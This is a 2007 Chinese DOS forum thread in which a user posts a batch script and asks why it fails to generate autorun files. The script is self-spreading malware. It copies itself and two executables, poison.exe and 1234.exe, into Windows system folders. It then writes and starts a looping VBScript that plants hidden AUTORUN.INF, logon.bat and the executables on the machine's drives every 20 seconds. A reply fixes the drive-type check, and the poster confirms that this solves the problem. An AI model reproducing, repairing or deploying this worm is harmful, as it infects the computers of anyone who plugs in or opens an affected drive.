中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请帮忙看看为什么不能生成autorun
作者:
标题: 请帮忙看看为什么不能生成autorun 上一主题 | 下一主题
nence
初级用户





积分 20
发帖 8
注册 2007-5-1
状态 离线
『楼 主』:  请帮忙看看为什么不能生成autorun


@echo off
copy %0 %windir%\system32
if exist %systemroot%\poison.exe goto end
copy poison.exe %systemroot%
copy 1234.exe %systemroot%                                 
echo on error resume next>%windir%\system32\logon.vbs
echo strComputer = ".">>%windir%\system32\logon.vbs
echo set fs =createobject("scripting.filesystemobject")>>%windir%\system32\logon.vbs
echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\system32\logon.vbs
echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\system32\logon.vbs
echo ^& "{impersonationLevel=impersonate}!\\" ^& strComputer ^& "\root\cimv2")>>%windir%\system32\logon.vbs
echo Set colDisks = objWMIService.ExecQuery _>>%windir%\system32\logon.vbs
echo ("Select * from Win32_LogicalDisk")>>%windir%\system32\logon.vbs
echo For i =1 to 9000000000>>%windir%\system32\logon.vbs
echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs
echo If objDisk.DriveType=1 or objDisk.DriveType=2 then>>%windir%\system32\logon.vbs
echo y1=fs.FileExists(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo if not y1 then>>%windir%\system32\logon.vbs
echo set f=fs.opentextfile(objDisk.DeviceID ^& "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs
echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "open=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shellexecute=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.write "shell\Auto\command=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs
echo f.Close>>%windir%\system32\logon.vbs
echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs
echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y2=fs.FileExists(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo if not y2 then >>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs
echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y3=fs.FileExists(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo if not y3 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\poison.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f3 = fs.GetFile(objDisk.DeviceID ^& "\poison.exe")>>%windir%\system32\logon.vbs
echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo y4=fs.FileExists(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo if not y4 then>>%windir%\system32\logon.vbs
echo fs.CopyFile "c:\windows\1234.exe",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs
echo WScript.Sleep 500>>%windir%\system32\logon.vbs
echo Set f4 = fs.GetFile(objDisk.DeviceID ^& "\1234.exe")>>%windir%\system32\logon.vbs
echo If f4.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs
echo :f4.Attributes = f4.Attributes XOR 7:>>%windir%\system32\logon.vbs
echo End If>>%windir%\system32\logon.vbs
echo end if>>%windir%\system32\logon.vbs
echo End if>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
echo WScript.Sleep 20000>>%windir%\system32\logon.vbs
echo Next>>%windir%\system32\logon.vbs
start %windir%\system32\logon.vbs
:end


2007-5-22 10:49
查看资料  发短消息 网志   编辑帖子  回复  引用回复
wudixin96
银牌会员





积分 1928
发帖 931
注册 2007-1-6
状态 离线
『第 2 楼』:  

没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000

2007-5-22 12:57
查看资料  发短消息 网志   编辑帖子  回复  引用回复
wudixin96
银牌会员





积分 1928
发帖 931
注册 2007-1-6
状态 离线
『第 3 楼』:  

DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: "可移动"
2: "固定"
3: "网络"
4: "CD-ROM"
5: "RAM 磁盘"

2007-5-22 13:25
查看资料  发短消息 网志   编辑帖子  回复  引用回复
newyun
新手上路





积分 2
发帖 1
注册 2007-5-22
状态 离线
『第 4 楼』:  

虽然帮不上忙但是顶下

2007-5-22 14:14
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
nence
初级用户





积分 20
发帖 8
注册 2007-5-1
状态 离线
『第 5 楼』:  



  Quote:
Originally posted by wudixin96 at 2007-5-22 12:57 PM:
没搞懂For i =1 to 9000000000有什么用,还有WScript.Sleep 20000

For i =1 to 9000000000
让它无限循环
WScript.Sleep 20000
每20秒检查一次

2007-5-22 18:25
查看资料  发短消息 网志   编辑帖子  回复  引用回复
nence
初级用户





积分 20
发帖 8
注册 2007-5-1
状态 离线
『第 6 楼』:  



  Quote:
Originally posted by wudixin96 at 2007-5-22 01:25 PM:
DriveType的值不正确。

2是移动磁盘
3是固定磁盘

这和用GetDrive函数返回的DriveType是不一样的。
用GetDrive函数返回的是:

0: "未知"
1: " ...

非常感谢
就是这个原因

2007-5-22 18:32
查看资料  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: